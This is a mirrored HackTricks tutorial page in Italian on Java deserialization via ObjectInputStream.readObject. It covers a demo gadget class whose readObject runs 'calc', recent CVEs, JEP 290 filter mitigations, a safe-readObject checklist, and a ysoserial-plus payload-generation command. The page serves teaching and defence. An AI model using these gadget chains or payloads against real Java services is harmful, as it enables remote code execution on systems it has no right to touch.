mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
155 lines
8.4 KiB
Markdown
155 lines
8.4 KiB
Markdown
# Basic Java Deserialization with ObjectInputStream readObject
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
In questo POST verrà spiegato un esempio utilizzando `java.io.Serializable` **e perché sovrascrivere `readObject()` può essere estremamente pericoloso se il flusso in arrivo è controllato dall'attaccante**.
|
||
|
||
## Serializable
|
||
|
||
L'interfaccia Java `Serializable` (`java.io.Serializable`) è un'interfaccia marker che le tue classi devono implementare se devono essere **serializzate** e **deserializzate**. La serializzazione degli oggetti Java (scrittura) viene eseguita con [`ObjectOutputStream`](http://tutorials.jenkov.com/java-io/objectoutputstream.html) e la deserializzazione (lettura) viene eseguita con [`ObjectInputStream`](http://tutorials.jenkov.com/java-io/objectinputstream.html).
|
||
|
||
### Promemoria: Quali metodi vengono invocati implicitamente durante la deserializzazione?
|
||
|
||
1. `readObject()` – logica di lettura specifica della classe (se implementata e *privata*).
|
||
2. `readResolve()` – può sostituire l'oggetto deserializzato con un altro.
|
||
3. `validateObject()` – tramite callback `ObjectInputValidation`.
|
||
4. `readExternal()` – per classi che implementano `Externalizable`.
|
||
5. I costruttori **non** vengono eseguiti – quindi le catene di gadget si basano esclusivamente sui callback precedenti.
|
||
|
||
Qualsiasi metodo in quella catena che finisce per invocare dati controllati dall'attaccante (esecuzione di comandi, ricerche JNDI, riflessione, ecc.) trasforma la routine di deserializzazione in un gadget RCE.
|
||
|
||
Vediamo un esempio con una **classe Person** che è **serializzabile**. Questa classe **sovrascrive la funzione readObject**, quindi quando **qualsiasi oggetto** di questa **classe** viene **deserializzato**, questa **funzione** verrà **eseguita**.\
|
||
Nell'esempio, la **funzione readObject** della classe Person chiama la funzione `eat()` del suo animale domestico e la funzione `eat()` di un Cane (per qualche motivo) chiama un **calc.exe**. **Vedremo come serializzare e deserializzare un oggetto Person per eseguire questa calcolatrice:**
|
||
|
||
**Il seguente esempio è tratto da <https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649>**
|
||
```java
|
||
import java.io.Serializable;
|
||
import java.io.*;
|
||
|
||
public class TestDeserialization {
|
||
interface Animal {
|
||
public void eat();
|
||
}
|
||
//Class must implements Serializable to be serializable
|
||
public static class Cat implements Animal,Serializable {
|
||
@Override
|
||
public void eat() {
|
||
System.out.println("cat eat fish");
|
||
}
|
||
}
|
||
//Class must implements Serializable to be serializable
|
||
public static class Dog implements Animal,Serializable {
|
||
@Override
|
||
public void eat() {
|
||
try {
|
||
Runtime.getRuntime().exec("calc");
|
||
} catch (IOException e) {
|
||
e.printStackTrace();
|
||
}
|
||
System.out.println("dog eat bone");
|
||
}
|
||
}
|
||
//Class must implements Serializable to be serializable
|
||
public static class Person implements Serializable {
|
||
private Animal pet;
|
||
public Person(Animal pet){
|
||
this.pet = pet;
|
||
}
|
||
//readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat()
|
||
private void readObject(java.io.ObjectInputStream stream)
|
||
throws IOException, ClassNotFoundException {
|
||
pet = (Animal) stream.readObject();
|
||
pet.eat();
|
||
}
|
||
}
|
||
public static void GeneratePayload(Object instance, String file)
|
||
throws Exception {
|
||
//Serialize the constructed payload and write it to the file
|
||
File f = new File(file);
|
||
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
|
||
out.writeObject(instance);
|
||
out.flush();
|
||
out.close();
|
||
}
|
||
public static void payloadTest(String file) throws Exception {
|
||
//Read the written payload and deserialize it
|
||
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
|
||
Object obj = in.readObject();
|
||
System.out.println(obj);
|
||
in.close();
|
||
}
|
||
public static void main(String[] args) throws Exception {
|
||
// Example to call Person with a Dog
|
||
Animal animal = new Dog();
|
||
Person person = new Person(animal);
|
||
GeneratePayload(person,"test.ser");
|
||
payloadTest("test.ser");
|
||
// Example to call Person with a Cat
|
||
//Animal animal = new Cat();
|
||
//Person person = new Person(animal);
|
||
//GeneratePayload(person,"test.ser");
|
||
//payloadTest("test.ser");
|
||
}
|
||
}
|
||
```
|
||
### Conclusione (scenario classico)
|
||
|
||
Come puoi vedere in questo esempio molto basilare, la “vulnerabilità” qui appare perché il metodo **readObject()** sta **chiamando altro codice controllato dall'attaccante**. Nelle catene di gadget del mondo reale, migliaia di classi contenute in librerie esterne (Commons-Collections, Spring, Groovy, Rome, SnakeYAML, ecc.) possono essere abusate – l'attaccante ha bisogno solo di *uno* gadget raggiungibile per ottenere l'esecuzione del codice.
|
||
|
||
---
|
||
|
||
## 2023-2025: Novità negli attacchi di deserializzazione Java?
|
||
|
||
* 2023 – CVE-2023-34040: La deserializzazione degli header dei record di errore di Spring-Kafka quando i flag `checkDeserExWhen*` sono abilitati ha permesso la costruzione arbitraria di gadget da argomenti pubblicati dall'attaccante. Risolto in 3.0.10 / 2.9.11. ¹
|
||
* 2023 – CVE-2023-36480: Assunzione di server fidati del client Java Aerospike rotta – le risposte del server malevole contenevano payload serializzati che sono stati deserializzati dal client → RCE. ²
|
||
* 2023 – CVE-2023-25581: L'analisi degli attributi del profilo utente di `pac4j-core` accettava blob Base64 con prefisso `{#sb64}` e li deserializzava nonostante un `RestrictedObjectInputStream`. Aggiornare ≥ 4.0.0.
|
||
* 2023 – CVE-2023-4528: Il servizio JSCAPE MFT Manager (porta 10880) accettava oggetti Java codificati in XML portando a RCE come root/SYSTEM.
|
||
* 2024 – Sono state aggiunte nuove catene di gadget a ysoserial-plus(mod) inclusi Hibernate5, TomcatEmbed e classi SnakeYAML 2.x che bypassano alcuni vecchi filtri.
|
||
|
||
## Mitigazioni moderne che dovresti implementare
|
||
|
||
1. **JEP 290 / Filtro di Serializzazione (Java 9+)**
|
||
*Aggiungi una lista di autorizzazione o di negazione delle classi:*
|
||
```bash
|
||
# Accetta solo i tuoi DTO e java.base, rifiuta tutto il resto
|
||
-Djdk.serialFilter="com.example.dto.*;java.base/*;!*"
|
||
```
|
||
Esempio programmatico:
|
||
```java
|
||
var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" );
|
||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||
```
|
||
2. **JEP 415 (Java 17+) Fabbriche di Filtri Specifici per Contesto** – utilizza un `BinaryOperator<ObjectInputFilter>` per applicare filtri diversi per contesto di esecuzione (ad es., per chiamata RMI, per consumatore di coda di messaggi).
|
||
3. **Non esporre `ObjectInputStream` grezzo sulla rete** – preferire codifiche JSON/Binary senza semantiche di esecuzione del codice (Jackson dopo aver disabilitato `DefaultTyping`, Protobuf, Avro, ecc.).
|
||
4. **Limiti di Difesa in Profondità** – Imposta la lunghezza massima dell'array, la profondità, i riferimenti:
|
||
```bash
|
||
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
|
||
```
|
||
5. **Scansione continua dei gadget** – esegui strumenti come `gadget-inspector` o `serialpwn-cli` nel tuo CI per far fallire la build se un gadget pericoloso diventa raggiungibile.
|
||
|
||
## Scheda di riferimento degli strumenti aggiornata (2024)
|
||
|
||
* `ysoserial-plus.jar` – fork della comunità con > 130 catene di gadget:
|
||
```bash
|
||
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
|
||
```
|
||
* `marshalsec` – rimane il riferimento per la generazione di gadget JNDI (LDAP/RMI).
|
||
* `gadget-probe` – scoperta rapida di gadget black-box contro servizi di rete.
|
||
* `SerialSniffer` – agente JVMTI che stampa ogni classe letta da `ObjectInputStream` (utile per creare filtri).
|
||
* **Suggerimento per la rilevazione** – abilita `-Djdk.serialDebug=true` (JDK 22+) per registrare le decisioni del filtro e le classi rifiutate.
|
||
|
||
## Checklist rapida per implementazioni sicure di `readObject()`
|
||
|
||
1. Rendi il metodo `private` e aggiungi l'annotazione `@Serial` (aiuta l'analisi statica).
|
||
2. Non chiamare metodi forniti dall'utente o eseguire I/O nel metodo – leggi solo i campi.
|
||
3. Se è necessaria la validazione, eseguila **dopo** la deserializzazione, al di fuori di `readObject()`.
|
||
4. Preferisci implementare `Externalizable` e fare letture esplicite dei campi invece della serializzazione predefinita.
|
||
5. Registra un `ObjectInputFilter` rinforzato anche per i servizi interni (design resistente ai compromessi).
|
||
|
||
## Riferimenti
|
||
|
||
1. Avviso di Sicurezza di Spring – CVE-2023-34040 Deserializzazione Java in Spring-Kafka (Ago 2023)
|
||
2. GitHub Security Lab – GHSL-2023-044: Deserializzazione non sicura nel client Java Aerospike (Lug 2023)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|